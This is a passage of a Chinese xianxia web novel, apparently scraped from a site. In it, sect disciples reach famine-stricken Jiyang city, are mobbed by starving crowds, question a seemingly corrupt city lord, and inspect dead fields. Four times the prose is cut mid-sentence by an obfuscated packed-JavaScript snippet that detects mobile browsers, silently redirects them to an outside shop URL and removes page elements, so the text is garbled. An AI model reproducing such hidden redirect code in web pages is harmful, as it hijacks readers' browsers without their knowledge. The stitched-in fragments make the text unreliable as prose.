“鬼知道拨的粮在哪,十天半个月下不来一点!城内这么多张嘴等着,好不容易拨下来点粮能顶几日啊!”见他问题这么多,这士兵终于有些不耐烦了,有气无力地骂骂咧咧道,“连我们现在也都日日饿着肚子,勉强守城嘞!” 公仪岭听到他这话,立马懂了。 即便是皇城拨粮下来,层层剥削后送到这里,还能剩下多少?不过是远水解不了近渴,让他们多撑一日是一日了。 公仪岚皱眉:“官府的人究竟是怎么办事的?过去这么久,情况还没半点起色。阿岭,等进城后是该去问问拨粮的进度才是。” 两人不再问那士兵,耐心在城门口等着那个去通报的小兵,没过一会儿,倒是队伍里的其他人先到了。 公仪岭快步迎了上去,顺手替燕蓉拿了些重物:“你们脚程倒快。” 燕蓉身上东西卸了大半,顿时轻松不少,挺直身子拍了拍身上的飞尘:“怎么,你们还没进去?” “这不是城门关着,想进去须得等人通报才行。” 众人环顾一番,这才意识到城门竟然关着。 司月吟不解:“闭城?” 公仪岚将方才士兵说的话复述了一遍。 谁知话还没全说完,就听到身旁不远处“砰”地一声,随后地上就掀起阵阵沙尘。 “怎么回事?!” 几人惊了一下,等到沙尘缓缓散去,定睛一看,就见不远处一个士兵直挺挺倒在地上,脸上面如死灰,嘴唇干裂,显然已经昏迷了过去。 孟妙意惊惧不已,反应过来后立即上前两步,伸手去探他的脉:“有没有水?他这是脱水昏迷了!” 公仪岭连忙翻找包裹,摸出水囊朝孟妙意丢了过去,叫了一声:“接着!” 孟妙意抬手,稳稳接住水囊,给士兵灌了水后,再次探了探他的脉搏,叫其他士兵将这人送了回去休息,紧绷的神经才略微放松下来,擦了擦头上的汗,对旁人道:“他太累了,先带他回去休息吧。” 这士兵也不知是在这里站了多久没有休息,才会倒下。想来应当是人手不够,无人能替他的班,才会这样。 公仪岭心中酸涩,难免开始焦急起来:“等了这么久了,那个去通报的士兵怎么还没回来?” 公仪岚按了按他的肩头,想让他安心些:“阿岭,守城士兵们也都饿着,跑得慢是应该的,咱们再等等。” “来了,来了!” 也不知等了多久,终于看见城门里闪出来一人,一步一摇晃地朝他们奔来。 那士兵抹着汗,在原地喘了好几口气才缓过来,磕磕巴巴道:“城主说……让仙师们进去。” 公仪岭向几位士兵道了一声谢,沉重的城门推开,一行人终是进了城内。 然而,眼前的景象却让众人僵在了原地。 在公仪岭的印象中,云灵城灾祸最严重的时候,也远不及今日在冀阳城内瞧见的景象。 冀阳城主街两侧,零零散散躺着十来个生死不知的人,街角的乞丐们听到城门开启的声音,竟是一拥而上,疯狂地朝城门跑去。 “退后!都退后!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429887|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守在城门内的士兵仿佛早有预料,“唰”一下齐齐拔出刀刃逼退这群人。 等公仪岭几人一进去,城门一刻不停地关上了,冷冰冰地隔绝了内外两个世界。 公仪岭费力地拨开人群,想要往里走,忽觉有人拉扯着他的衣摆,慌忙低头去看。 “仙师!仙师!求求您救救我儿子吧!” 一个蓬头垢面,破烂衣服的女人抓着他的衣角跪了下去,怀中还抱着一个孩子,嘶哑着声音哭天喊地道:“我儿子已经饿了两日了,再吃不上东西,我儿子就要活活饿死了!” 街上乞丐都饿得不成人样,一个个瘦骨嶙峋、肋骨突出。此刻看见他们进城来,好似看见救星般,一路跪爬到他们身旁,扯着几人的裤腿哭喊:“粮食……粮食!有没有粮食……” 孟妙意哪里见过如此阵仗,慌慌张张伸手就从行囊里摸出了几个白面馒头扔给他们。 谁知,她刚丢了馒头出去,所有人都跟疯了一样,朝那个馒头扑了过去,撕扯争抢起来。 混乱中,不知哪个乞丐大吼了一声:“他们……他们有粮食!”话音刚落,原本死寂破败的街道突然沸腾了起来,小巷里冲出来了不计其数的民众,前仆后继朝着他们涌了过去。 公仪岭看着眼前每个人眼中的疯狂与绝望,心中一紧:“你们想如何?” 那些人哪里还会听他们的话,不管不顾地冲了上来。 公仪岭从未经历过这种状况,又无法对这些饥饿的百姓拔剑相向,几乎束手无策,只能勉强后退维持住身形,呼喊道:“不要挤了!不要挤了!” 这样苍白的叫喊,并不能起到多少作用。 却听见司月吟和孟妙意两人惊叫了一声,竟是直接失去重心被人群扑到在地,肩上背着、手里扛着的包袱也不知道被谁夺了去,下一秒就被无数只干瘪的手撕成碎片,里面的大饼、馒头散落一地。 抢到粮食的人当即就是往自己嘴里猛塞,没抢到的便厮打抢到的人,想要夺食。一时间,场面无比混乱。 人群遮挡着公仪岚的视线,他根本看不见刚刚摔倒的两人在哪里了,焦急喊了一声:“司姑娘!孟姑娘!”随即努力想要拨开人群去找底下的两名女子,然而却是只听其声,不见其人。 好不容易燕蓉帮忙扶起了她们两人,身上背着的麻袋又被饥民抢了去。 饥民们扯开燕蓉的麻袋,欣喜若狂:“好多粮食!他们带了好多粮食!” 听到这话,没抢到的那些人立刻换了目标,甚至还有挥着利刃的人想要割开麻袋外表,却误伤了不少无辜百姓。而那些被割伤的人,见了血也依旧是拼命抢着食物,仿佛根本感受不到痛苦。 公仪岭余光中瞧见那利刃挥舞的方向,瞳孔骤缩,惊声道:“大哥小心——!!” 刀剑无眼,公仪岚本就在燕蓉身边帮忙,离那把利刃极近,空间狭小,无处可避,一个不留神,竟然也被划伤了手臂,豁出一道狭长的口子,半片衣袖都染上了血迹。 他再顾不得什么,瞬间拔出归云剑指向那人,怒喝道:“滚开!滚开!放下刀!” 拿刀的人看到他拔剑,心有畏惧,一声不吭地将刀重新别回了腰间。 而其他人即使听到他喊,也依旧置若罔闻,仅仅稍微避开了公仪岭,全朝着另外几个人过去。 20. 欲救无门路 怎安得其法(三) 见他们全朝着公仪岚那边聚了过去,公仪岭执剑厉声道:“排队!排队!都退下,排好队!” 众人推推搡搡,乱作一团,哪里听得见公仪岭到底说了什么?依旧是自顾自地扑抢吃食。 公仪岭说的话是完全不管用了,也只好上前一步,拉开了几个想要努力挤进内圈的百姓,拿归云剑对他们指了几下,扯着嗓子加大了音量,喝道:“你、你、你!还有你!你们几个都别挤了!” 齐元白不知实情,见他拔剑指着百姓,一边匆忙从人群中挤到他旁边,一边喊道:“阿岭,不可!你忘记三化殿长老说了什么吗?切勿伤了无辜百姓啊!” 公仪岭死死盯着拿着刀的人,确认他收了刀刃,这才稍回了些心神,对齐元白点了点头,将归云剑收回鞘中。 可“三化殿”三个字一出口,一人竟转身朝向公仪岭,直直扑过来揪住了他的衣襟,怒目而视:“你们、你们是抱元门的仙人!” 其他人听到了这句话,也转过身,民众中立刻有人指着他们的衣服说道:“是他们…….就是他们!我认得他们的衣服!” “……” 人群中寂静了片刻,方才一个外围的人突然冷声道:“你们不是过来帮我们的仙人吗?刚才为什么拿着剑指着我?” 那人冷不丁说完一句,其他众人仿若如梦初醒,每个人的神色逐渐微妙起来。 “还有我……他刚刚也拿剑指我了……” “他们……他们居然对我们动刀子了!” 众人气愤地指着公仪岭,道:“……我们不过想吃上一口东西,可你们竟对我们这些手无寸铁的人拔剑相向!你们这群人……就是这般当神仙的吗?!” “好不容易等来人送点粮食,难道你们仙人也要我们死?” “再说了……就这么点东西,够谁吃?” 还有几个中年男子跪在地上,字字血泪地哭诉道:“我们家上有老下有小,全靠我带点吃点回去了!求你们给我们条生路吧!要是没有吃的,他们怎么撑下去啊!” “我们只是想活下去啊……” 不、不,不是这样的!他只是不想让民众推搡,不想见他们拿刀伤人啊! 公仪岭头痛欲裂,整个人都在颤抖,众人的痛哭声、控诉声回荡在耳边久久不绝,每一句话、每一个语气词都清晰无比。 而他的辩解,却在这时候显得苍白无力:“没有……我只是想让那个人收回刀刃,让他们排好队不要挤!” 齐元白终于在众人片刻的停滞时间里挤到了公仪岭身边,将他拦在身后,左手从衣襟内瞬间掏出来了一沓符箓,念了几句后,大喝一声:“定!” 符箓得了齐元白的命令,立刻像活了一样,四散而飞,快准稳地贴在了周围人的脑门上,令他们当场僵在原地,不能动弹了。 其他人不明就里,只当齐元白出手伤人,面上惊惧不已,连连后退:“动手了!他们动手了!” “大家不要惊慌!这个不会对人有伤害的!只要一炷香的时间,他们就可以行动自如了!”齐元白喊着,想要稳住人心。 那群百姓往后一退,公仪岚总算是找到了被压倒在地的司月吟等人的身影,伸出手拽起几人。 经过这么一闹,他们浑身上下像在土里打了十几个滚,一个个都面如土色狼狈不堪。他们带来的粮食与水早已被抢了个空,就连布袋也被扯成了碎片,再也拼凑不起来。 司青筠见几人都已经被扶了起来,当即丢了个不规则形状的石头过去。 这石头可不是普通石头,其名三化阵石,正是抱元门独有的器物,最适合用来临时起阵。司青筠选了一个将百姓围起来的普通阵法,石头落地后,阵法开启,将百姓与他们几人隔绝开来。 司青筠比他们镇定许多,说的话也和齐元白相似:“大家不要惊慌,过一会阵法自己便解开了。” 公仪岭放松了下来,心道如此不动刀剑能够将他们脱困自然是最好的,看来日后还是得问齐元白多讨点符纸才保险。 公仪岚扶着她们几人,肃然道:“看来,我们还是得先去一趟城主府了。” 其他人听到他如此决断,自然也没有什么意见。冀阳城的地图是司青筠保管着的,司月吟出声问道:“师兄,你看看城主府是往哪个方向?” 司青筠垂眸看了一眼地图,道:“东边。” 依照司青筠说的方向,从主街道向东几百米,很快抵达城主府。 “快滚!你们这些贱民,城主府门口成何体统?!” 一行人还未看清城主府是何等模样,就被街边官兵的叫骂赶人的声音吸引去了注意力。 就见城主府门口不远处一个官兵正推搡着一个瘦弱的中年男人,大声呵斥着他逼他退后。 而他的身后,还蜷着一个干瘪的妇人,躺在地上昏迷不醒。 “官爷,求求您了!我家娘子已经高热三日了!”他跪在地上,一下一下地朝那个官兵磕头,满脸泪痕,“现在满城动乱,哪里去寻医师!还请您通融,回禀城主,让府中医师救救我家娘子吧!” “去去去,滚一边去!”官兵骂道,“现在到处都是病人,医师哪里治得过来?!” 可是那男子依旧是充耳不闻,在地上磕着头,官兵想要拖着他走,他就和疯了似得挣扎:“我不走!我不走!求求你们了救救我娘子吧!” 那官兵还欲再赶,孟妙意却是再也看不下去,冲上前去挡住了他们夫妻二人,对官兵怒道:“走开!” 官兵打量了孟妙意一眼,见她只是个十五六岁的丫头,根本没放在心上,冷笑一声,伸手想将人推到地上。 谁知,那手还没伸出一半,就被旁边的人截了下来。 公仪岭一只手扣住官兵的胳膊,反身擒拿,瞬间制服了他:“你怎能对姑娘家动手?” 这官兵虽被擒住,口中却依然叫唤着同伴:“聚众闹事,还不过来帮我拿下这群人!” “我看谁敢?!” 想帮忙的官兵刚要围过来,孟妙意抢先上前一步蹙眉呵斥。话音刚落,身上顿时出现了一条青色大蟒,将几人护了起来,一双斗大的蛇眼瞪着那群官兵,口中吐着信子,看起来随时就会暴起伤人。 司青筠不忘在旁边淡淡解释:“我劝你们不要惹这位姑娘生气,这条青蛇可是身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429888|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带百毒的,但凡被咬上一口,就算是神仙下凡都救不了你们。” 那些仙门法器,这群人或许看不懂,感觉不到多少威慑力,可一看到这条巨蟒,再听见司青筠的话,心里的恐惧油然而生,顿时退后了好几丈远。 有几个机灵些的看守,见情况不妙,立即回府内禀报去了。 孟妙意呵斥完,也没打算和他们僵持,径直走到那妇人身旁,为她把脉,又从肩上破袋子里取出一卷银针,当场为妇人施针起来。 那男子又惊又喜:“姑娘你……你是医师?” 孟妙意微微点头。那男子面上表情几乎能用欣喜若狂来形容,在她面前哐哐就是磕了几个响头:“求求您……求求您,救救我娘子吧!” 公仪岭松开了那官兵,颇为意外地问:“原来你习过医术。” “是。”孟妙意没有抬头,依旧检查那女子的状况,“青花谷虽然主攻毒物蛊术,但是想要研究透这些,难免少不得学习医术了。” 孟妙意施了针后,又喂了一颗药丸进去,对她的丈夫说道:“过了今晚,应该就可以退烧了,带她走吧。” “多谢神医……多谢神医!”男子感激涕零,握着孟妙意的手臂摇了许多下,又是连连点头,抱着妻子离开了。 有了这一出,那些官兵不敢轻举妄动,只能出声问道:“你们到底是谁?来做什么的?” 公仪岚从容道:“我们是受抱元门长老所托,特来冀阳城解决饥荒的,烦请通传城主,就说我们有要事相商。” 府门口的官兵竟是他行了一礼:“原来竟是抱元门来的仙师,方才多有得罪了。我等已经派人去通传,还请仙师们稍等片刻。” 孟妙意怒道:“城中如此多饥民、病患,都闹到府门口来了,你们竟还是置之不理,难道城主就是如此管理冀阳城的吗?” 眼下在别人的地盘这样说,就有些不留情面了。齐元白怕她多生事端,赶紧拦道:“孟姑娘何出此言?现在事情还没明朗,我们先进去了解完情况再说不迟。” 孟妙意冷冷瞥了一眼官兵,没再多说什么。 正在这时,紧闭的城主府大门终于打开了,中间迎出来了一个锦衣华服的人,说道:“进来吧,几位仙师。” “您就是冀阳城的城主?”公仪岭打量了他一眼。 从刚才来的时候,他就看清了这条街道的全貌,仅仅从外墙来看就能看出城主府修得何等宽敞华丽。几米高的白墙,上面覆盖着整整齐齐的黑色瓦片,白墙正中的朱漆大门上方,挂着的那红木牌匾上端端正正写了“城主府”三个大字。 仅仅几条街的间隔,竟是一个天上一个地下的差别,而眼前从府邸里走出来的这个人,身上穿的衣服一看便知是上好的缎子。公仪岭难免愤懑,而其他几人也是微不可查地皱了皱眉。 “正是。”城主答道。 几人虽不悦,但该有的礼数却少不得。 公仪岚施了一礼,道:“城主,抱元门长老告知了我们冀阳城的状况,我们一行人此次前来,便是想来解决此事。” 城主道:“城门口的士兵已将此事回禀,各位仙师,请随我来。” 21. 欲救无门路 怎安得其法(四) 他们跟随着城主一路走,穿过了前院,又沿着长廊经过几座亭台楼阁,才进了一间满是檀香味的房间。众人席地而坐,几个侍从便上前给他们奉茶。 面前的茶水徐徐注入杯中,屋内顿时茶香四溢。 公仪岭终是忍不住质问道:“冀阳干旱,既然有此等好茶,为什么不分发给百姓,难道您当真对城中百姓的状况视而不见、置之不理?” “阿岭!” 他们现在刚见到城主,还没了解完情况,公仪岭在此时开门见山地问出这样的话,多少有些不合时宜。公仪岚眼见着城主面色逐渐沉了下去,连忙眼神示意公仪岭闭嘴,转而对城主说道,“舍弟只是不忍心看见百姓受此苦楚,并非刻意为难您,多有得罪,还请您海涵。” 城主一想,现在还有事要相求他们,关系不宜搞得太僵。公仪岚既然给了台阶,他面色稍缓,也就顺坡下了:“既然大家都是为了解决冀阳困境,自然不会因此生了嫌隙。” “嫌隙是不会生,前提是城主自己当真尽了心就好。”一声清脆响亮的女声接话道。 都不需要仔细听,公仪岭就知道这话一定是孟妙意说的。仙家众人皆知这位大小姐说话素来如此,管你是仙门如何厉害的弟子,但凡惹她不痛快了,少不得刺你几句,又何况是他冀阳城主? 城主也听出她话中带刺:“这位仙师,何出此言?” 侍从递上来的茶,孟妙意一口都没喝,只是冷冷地瞧着面前茶盏。 她声音微寒:“方才我们在城主府门口,见一位发着高热的妇人,她丈夫苦苦哀求,却还是求医不得。我见城主府朱门高户,这等雕梁画栋,看上去可不像是缺医师的样子,总不会是城主府内并无医师,这才无法施以援手的吧!” “实不相瞒,的确如此。” 城主叹息道:“府内医师早已被我派遣出府,日日在城中各处救治百姓。仙师若是不信,在城中转上几圈,定能看见医师摊子前排了长队。” 公仪岭心中一凛,问道:“排了长队?城中病患怎么会这么多?” 城主道:“大多百姓本就生活苦楚,为生计奔波,身上难免落下各种病症。如今刚过了一个寒冬,天气才热了些,又赶上了百年难遇的饥荒和大旱,底子垮了,身上自然也就患病了。” “即便医师不眠不休的施救,可是患病百姓人数众多,仅靠他们几人,也只是杯水车薪罢了。” 他这话说的不无道理。 归根结底,当务之急是要把饥荒和旱灾的问题给解决了,否则的话,光靠医师救人,也只是治标不治本。 众人全都意识到了这点,一个个沉默不语,开始想起办法来了。 公仪岭首先想到的便是修渠引水,正要开口,却猛然想起城门外那半道水渠,问道:“城主,我们在城外曾看见修了一截的水渠,若是从附近的河先引水过来,用来灌溉庄稼也行不通吗?” 城主叹息道:“冀阳城现下情况危机,因饥荒死去的百姓不计其数。若想要挖一条水渠从其他地方的河流引水过来,劳民伤财,哪里来的人力去修水渠呢?” 远水解不了近渴。 公仪岭一想也是,他们几人想挖水渠也得花上十几日,何况冀阳城现在的情况。 “就近的城池,也无法运水和粮食过来吗?” “仙师一路过来也看见了,冀阳城地处偏僻,方圆百里内哪里有临近的城池?即便是想办法从其他城求援运粮过来也没过几日便吃完了,终究不是长久之计啊……若非实在是走投无路,我也不会求助于仙师下山了。” 公仪岚拱手道:“我们就是为了解决此事而来,只是不知有什么事情,是我们力所能及能帮上冀阳城百姓的?” 城主闻言,眼睛似乎一亮,急切道:“我知抱元门仙师斩妖除魔,神通广大,不知道仙师能否呼风唤雨,在冀阳城布下降雨阵法,先解了冀阳的干旱?” 公仪岭正喝着茶呢,听到这话差点没把茶水喷了出来。 抱元门跟呼风唤雨有关的阵法,他也曾有略微了解。想要布下这阵法难度较大,他闲暇之余尝试过,但想要深究领悟其法,未免困难,所以公仪岭并没有成功。 术业有专攻。 他们来自不同的宗门,穿着各宗门不同的衣服,但显然这位城主并不清楚其中的区别,只是一心把他们所有人都当做了抱元门的仙师,殊不知,他们大多数人并不了解布阵之法。 公仪岭偷偷望向其余几个人,看他们脸上的表情就知道定然是与他想的一样,于是一时间,所有人的目光都聚集在了司月吟和司青筠身上。 司月吟心中也正犹豫不定。说起来,降雨的阵法是有,只是这阵法较为高阶,自己虽然是长老的亲传弟子,但尚且年轻,资历不足,只担心这阵法万一不成,反倒因自己坏事就不好了。 她若是真的要布,肯定是少不得司青筠帮忙的。 司月吟搁下手中茶盏,微微侧头,向右边的师兄投去了一个疑问的眼神。 司青筠与她目光交接,停顿片刻后,向城主轻轻点了一下头:“我愿尽力一试,只是成败与否,无法保证。” 司月吟松了一口气,看向城主的目光也坚定了些许。若是让她自己来布阵,她自然是不敢肯定的,有师兄相助,定然事半功倍。 城主大喜:“仙师肯出手相助,自然是极好的!无论这阵布成与否,我都先在此谢过。” 听到抱元门两个人有办法,大家面上也轻松了一些,纷纷表示会继续在城中尽力帮助。 孟妙意也点头道:“若是医师不够的话,我白日里也可以过去帮忙治病。” “医者仁心,还请仙师多加施以援手了。如此,定然能救下更多人。”城主恳切道。 解决旱灾、救治百姓的办法都有了,眼下,也只剩下一件事情还没有兴师问罪了。 公仪岭方才出言不逊被制止后,正犹豫不决要不要再开口说,还未下定决心,就听对面那紫衣女子道:“城主,我还有一事不明。” 她神色平静,语气却是不容置疑。 这紫衣女子自然是燕蓉无疑,别见她现在在紫阳宗当二把手久了,做什么都是雷厉风行的样子,当年公仪岭与她初识的时候,却还没见她变成如今这样。 天子统一中原后天下太平,仙门各家除妖之余,忙里偷闲,倒也时常聚起来轮流搞些民间的节日宴会,让弟子们相互游学,取长补短。 公仪岭与燕蓉熟识,也就是在一年的上元节。 正巧这一年的上元节是在紫阳宗举办的,为了烘托气氛,紫阳宗的各位弟子们就在每个院中长廊里都挂上了写着灯谜的字条,一个个满心期待地等着晚上宴会结束,好猜灯谜赢奖品。 彼时他刚吃完席,闲来无事,便推了过来敬酒的仙僚,打算去门口瞧一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429889|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧仙侍们挂好的灯谜。谁料一人去的比他还早,竟然已经拿着一盏挂了灯谜的宫灯,踮着脚往长廊上面挂了。 公仪岭心中诧异,过去一看才发现自己对这位姑娘有印象,听说是紫阳宗宗主刚提拔上来的副手,也是个宗主的内门弟子。 见她年岁不大,地位却高,公仪岭起了好奇心,犹犹豫豫想看,却又装得不甚自然。偷偷瞄了两眼她手中的灯笼,见灯谜牌子上龙飞凤舞写了几行字,似乎是两句不长不短的诗。 还没待他辨认出来这两行字写的是什么内容,这可疑的行径就被燕蓉抓了个现行。得亏公仪岭也算小有名声,只看了两眼,燕蓉也就认出了此人,惊讶道:“你是云灵山的公仪岭?” 要说,这样的场合下,自己的名字就这样被叫了出来,正常人也多少该有点回应,例如说,也叫一声对方的名字打个招呼,以示尊重什么的。 但公仪岭明显不是什么正常人。 听到这姑娘喊自己大名,公仪岭意识到自己这不怎么光明正大的偷看行为被戳穿了,顿时羞愧不已,张了张口想叫一声对方名字解释道歉一番,结果话到嘴边,才发现居然连对方的名字都不知道,呆滞了好一会儿,才反应过来自己得赶紧给出一个合适的理由辩解,打了声哈哈掩饰尴尬:“……哈哈哈……没想到这么早就有人来挂灯笼了,我就、我就随便看了两眼……” 结果说完,又觉得这掩饰的效果不怎么好,说了还不如不说。看着面前姑娘表情奇怪,又暗暗懊悔。 为了缓解这尴尬的场面,公仪岭只好勉强补救道:“你……你叫什么名字来着?” 那姑娘也不是傻的,看见公仪岭是这样的反应,也就猜出了七八分前因后果,了然一笑,起了揶揄他的心思,随手在木牌的背面又写了两句灯谜,递到公仪岭手上。 公仪岭不解其意,但还是十分配合地接过来看了。 只见这上面赫然写的两句话:“杏花上下失踪影,新月对影挂前窗。” “……” 公仪岭道:“这是什么意思?” 她笑道:“既然今日是上元猜灯谜,我就不直接说名字了,你且以这两句,猜一猜谜底是什么名字?” 既是灯谜,那多半就是按照字形来出的谜题了。公仪岭琢磨了一会儿,才不确定道:“是……蓉?” “不错,看来你还挺聪明的嘛。” 燕蓉点了点头,从他的手中重新取回灯谜牌子挂回宫灯上,轻笑道:“我姓燕,单名一个蓉字,下回见面,可不要再忘记了。” 待后面再见,公仪岭自是不敢再忘她叫什么,接触时间多了,两个人也成了朋友,要说这紫阳宗内公仪岭跟谁最熟,那就是她了。 城主见她神情肃然,忙道:“仙师但说无妨。” 燕蓉问:“冀阳城发生此难,城主可已经上奏皇城了?” 城主道:“自冀阳饥荒以来,我一直都有向皇城上奏此事,只是皇城在东,冀阳在西,两地相隔千里之远。皇城拨下来的款项与赈灾粮,来到冀阳后已是少之又少。” “此前城主所言,虽然其他城池距离冀阳城路途遥远,但也并非全然袖手旁观,而是送了粮过来想要解燃眉之急的,对否?” 城主道:“确有此事。” 燕蓉继续道:“既然皇城之中、临近城池都送了粮过来,为何我们听到有人说不知道拨的粮去了哪里?” 22. 欲救无门路 怎安得其法(五) 燕蓉说完,公仪岭也回忆起来城门口那个守城士兵口中的话,士兵都尚且吃不到什么粮食勉力守城,也难怪百姓如此疯狂抢食了。 燕蓉伸手把身后的麻袋碎片放在桌案上:“我们下山带来了不少吃食想要救助百姓。然而刚入城的时候,便被抢夺一空,百姓们都像是好几日都没吃上东西了。不知这些各地运来的粮食发放下去后,可都落实到位了?” 从进城主府大门后的种种迹象来看,这里并不像是缺水少食的模样,而公仪岭估摸着城主的身量,也并不瘦弱,跟外面的惨况相较,这里简直就是天堂。 公仪岭看向城主,想听听他如何作答。 城主却表现地十分平静,似乎对此早有预料,道:“我知仙师担忧的是什么。仙师放心,我已下令,几乎把所有拨下来的粮食都下放给了百姓,若非如此,冀阳城中的百姓也断然撑不到今日等来救援了。” 齐元白皱眉道:“可是即便如此,他们的状态看起来都像是撑到极限了,如若再这样下去,城中暴乱在所难免,我看还是需要抓紧时间才是。” 众人皆点头称是。 公仪岭问道:“不知下一次城中粮食送到,还需要几日?” 城主顿了顿,似乎是在心中默算了一下日子:“约莫还需三日。” 公仪岭看向他们六个人,建议道:“那这三日,我们便先分头行事吧。” 其他人没什么意见,一口答应了下来。 公仪岚不忘承悦那只队伍,也顺道提了一嘴:“此次抱元门除了我们七人,还有其余七位仙僚下山相助,若是他们抵达,还请城主多加照拂。有了他们一起的话,想必行事也会更快了。” 城主爽快道:“那是自然。” 见商议地差不多,公仪岭顺手还将桌案上的几块糕点收进了自己的破布包里面。 公仪岚注意到他的动作,轻声道:“阿岭,这茯苓糕可是你最爱吃的。” 修仙之人大多辟谷,却也不影响大家偶尔吃顿饭,尝个鲜来补充补充体力。云灵山弟子们都较为随意,不太讲究这些,众弟子们倒也经常一起吃个便饭,要不然公仪岭也不会这么热衷于展示厨艺了。 公仪岭怎么会看不出来桌子上的是茯苓糕?他在云灵山的时候最喜欢亲自下厨,广邀众人品鉴,但大哥是最了解他的口味的人了,若说起真正自己喜欢吃什么,那必然就是茯苓糕了。 公仪岭闷闷道:“咱们少吃一顿倒也没什么,外面的人可不行。” “阿岭说得对,我看咱们手上要是有吃的还是都给他们吧,能顶一日是一日。”齐元白立刻附和了一声,手上也开始收拾起了糕点。 他这么一说,众人心中也是赞同,都开始将面前的茶点收进包袱里带走,打算等事情商议完就出去分给饥民。 等众人收拾完后,公仪岚便起了身,礼貌道:“事情如何,我们已经大致了解,这几日就会开始追查,还请城主放心。若是没有其他事情,我们就先告辞。” 城主侧身吩咐侍从两句,随即说道:“府中已经为仙师备好房间,如今城中也没有哪家客栈能够落脚了,仙师在此地住下就是。” 既然是给城主口中的贵客安排的厢房,自然是不会差的。等小厮引了他们到住处,公仪岭随意放下行囊与佩剑,在后院中找了个石凳子坐下,开始征求众人的意见:“怎么说,咱们分个组出去?” 齐元白提议道:“分组自然是要分的,我看现在天色尚早,倒不如现在就出去,看看能不能帮上忙?” 几人皆是赞同,简单分组后便再度出门。 孟妙意被安排同公仪岭一组,没有因为先前的过节而对此产生什么意见,这倒叫公仪岭颇感意外了一番。 不过,队友对他没有什么意见,这样也更方便他们一同办事。 从城主府侧门出去以后,孟妙意率先对两人道:“说到底还是庄稼的问题,我看,不如先去城中的农田看看是怎么回事?” 公仪岭一想,觉得孟妙意这个思路不错,应声道:“的确,想要搞清楚歉收是怎么回事,从农田入手是最好的。” 临行前,齐元白从小厮那边也讨来了一张冀阳城的地图,此刻正好派上用场。 他低头看了一眼手上的地图,给另外两人指路:“农田正是在城外东侧五里外的地方,我们现在启程,至多不过两刻钟就能到了。” 虽说三个人或御风或御剑过去总该快些,不过想着包袱里还有些吃食,就打定主意沿路走过去,先将东西分了再说。一路救济难免晚了些时间,等到他们抵达城东的农田,已经是半个时辰以后的事情了。 城内好歹还有屋檐勉强蔽日,可城外却是一点遮挡物都没有,烈日之下,三人被晃得眼睛都睁不开,只能抬手勉强遮住日光,以此视物。 只是,要说这是农田,也未免太过于牵强了…… 眼前荒芜的景象,哪里能看出一点农田的样子?公仪岭随意踢了踢脚下硬邦邦的黄土,望向两人的眼神透露出十分的不确定:“我们这是……到了?” 齐元白肯定:“到了。” 孟妙眯眼道:“这……哪里还能看得出这有农田的影子?” “确实看不出来。”公仪岭低声道,“不过这田里还剩了几株枯萎掉的植物。” 旁边两人擦了擦汗水,朝着公仪岭说的方向看去,果然看见了地上稀稀拉拉倒了不少枯黄的植株,颜色几乎与大地融为一体,他们一开始并没有发觉。 孟妙意弯腰捡起其中一株,疑惑道:“这是枯萎的庄稼吗?” 公仪岭没见过,又是不确定地问齐元白:“我看着像,元白你看看?” 齐元白从前下山摆摊算命的时候,也没少帮百姓下田插秧,当即肯定道:“是的,只不过像是那些刚种下没多久的。” 孟妙意思忖道:“如此说来,倒也合理。肯定是这新的庄稼刚种下去没多久,就因为闹旱灾枯死了,颗粒无收,没有存粮也是正常。” 公仪岭凝眉,还是觉得有些不对。 天底下哪座城会巴巴地指望着全靠当年的收成过日子?定然是得依靠往年的存粮才行。 “城中粮食歉收应该是去年秋收的时候,若是这些庄稼是今年刚种下去枯萎的,也不该影响去年的收成。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429890|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孟妙意不置可否,猜测道:“也许是粮仓的问题,我们到时候也该去看看城中粮仓有没有问题。” 齐元白却在此时忽然道:“等等。” 公仪岭赶忙问道:“元白,你可是发现了什么?” 齐元白往前走了几步蹲下身,拨了一株庄稼到旁边,将被压在底下的一株植物取了出来,那植物看起来也是枯黄枯黄的,像是地上随手捡来的烂菜叶子。 